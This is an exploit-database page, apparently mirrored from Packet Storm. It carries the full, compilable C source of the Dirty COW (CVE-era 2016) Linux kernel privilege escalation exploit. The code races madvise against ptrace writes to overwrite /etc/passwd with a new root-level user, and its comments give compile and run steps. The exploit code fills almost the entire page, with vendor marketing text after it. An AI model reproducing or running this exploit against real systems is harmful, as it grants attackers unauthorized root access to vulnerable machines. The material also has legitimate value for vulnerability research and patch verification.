Lucene search
K

Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

🗓️ 28 Nov 2016 00:00:00Reported by FireFartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1125 Views

Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation. Exploit for automatically generating and overwriting the /etc/passwd file with a new user for privilege escalation

Related
Code
`//  
// This exploit uses the pokemon exploit as a base and automatically  
// generates a new passwd line. The original /etc/passwd is then  
// backed up to /tmp/passwd.bak and overwritten with the new line.  
// The user will be prompted for the new password when the binary is run.  
// After running the exploit you should be able to login with the newly  
// created user.  
//  
// Original exploit:  
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c  
//  
// To use this exploit modify the user values according to your needs  
//  
// Compile with  
//  
// gcc -pthread dirty.c -o dirty -lcrypt  
//  
// and just run the newly create binary with ./dirty  
//  
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT !  
//  
// Exploit adopted by Christian "FireFart" Mehlmauer  
// https://firefart.at  
//  
  
  
#include <fcntl.h>  
#include <pthread.h>  
#include <string.h>  
#include <stdio.h>  
#include <stdint.h>  
#include <sys/mman.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/wait.h>  
#include <sys/ptrace.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <crypt.h>  
  
const char *filename = "/etc/passwd";  
const char *backup_filename = "/tmp/passwd.bak";  
const char *salt = "firefart";  
  
int f;  
void *map;  
pid_t pid;  
pthread_t pth;  
struct stat st;  
  
struct Userinfo {  
char *username;  
char *hash;  
int user_id;  
int group_id;  
char *info;  
char *home_dir;  
char *shell;  
};  
  
char *generate_password_hash(char *plaintext_pw) {  
return crypt(plaintext_pw, salt);  
}  
  
char *generate_passwd_line(struct Userinfo u) {  
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";  
int size = snprintf(NULL, 0, format, u.username, u.hash,  
u.user_id, u.group_id, u.info, u.home_dir, u.shell);  
char *ret = malloc(size + 1);  
sprintf(ret, format, u.username, u.hash, u.user_id,  
u.group_id, u.info, u.home_dir, u.shell);  
return ret;  
}  
  
void *madviseThread(void *arg) {  
int i, c = 0;  
for(i = 0; i < 200000000; i++) {  
c += madvise(map, 100, MADV_DONTNEED);  
}  
printf("madvise %d\n\n", c);  
}  
  
int copy_file(const char *from, const char *to) {  
// check if target file already exists  
if(access(to, F_OK) != -1) {  
printf("File %s already exists! Please delete it and run again\n",  
to);  
return -1;  
}  
  
char ch;  
FILE *source, *target;  
  
source = fopen(from, "r");  
if(source == NULL) {  
return -1;  
}  
target = fopen(to, "w");  
if(target == NULL) {  
fclose(source);  
return -1;  
}  
  
while((ch = fgetc(source)) != EOF) {  
fputc(ch, target);  
}  
  
printf("%s successfully backed up to %s\n",  
from, to);  
  
fclose(source);  
fclose(target);  
  
return 0;  
}  
  
int main(int argc, char *argv[])  
{  
// backup file  
int ret = copy_file(filename, backup_filename);  
if (ret != 0) {  
exit(ret);  
}  
  
struct Userinfo user;  
// set values, change as needed  
user.username = "firefart";  
user.user_id = 0;  
user.group_id = 0;  
user.info = "pwned";  
user.home_dir = "/root";  
user.shell = "/bin/bash";  
  
char *plaintext_pw = getpass("Please enter new password: ");  
user.hash = generate_password_hash(plaintext_pw);  
char *complete_passwd_line = generate_passwd_line(user);  
printf("Complete line:\n%s\n", complete_passwd_line);  
  
f = open(filename, O_RDONLY);  
fstat(f, &st);  
map = mmap(NULL,  
st.st_size + sizeof(long),  
PROT_READ,  
MAP_PRIVATE,  
f,  
0);  
printf("mmap: %lx\n",(unsigned long)map);  
pid = fork();  
if(pid) {  
waitpid(pid, NULL, 0);  
int u, i, o, c = 0;  
int l=strlen(complete_passwd_line);  
for(i = 0; i < 10000/l; i++) {  
for(o = 0; o < l; o++) {  
for(u = 0; u < 10000; u++) {  
c += ptrace(PTRACE_POKETEXT,  
pid,  
map + o,  
*((long*)(complete_passwd_line + o)));  
}  
}  
}  
printf("ptrace %d\n",c);  
}  
else {  
pthread_create(&pth,  
NULL,  
madviseThread,  
NULL);  
ptrace(PTRACE_TRACEME);  
kill(getpid(), SIGSTOP);  
pthread_join(pth,NULL);  
}  
  
printf("Done! Check %s to see if the new user was created\n", filename);  
printf("You can log in with username %s and password %s.\n\n",  
user.username, plaintext_pw);  
printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",  
filename, backup_filename);  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Nov 2016 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.93929
1125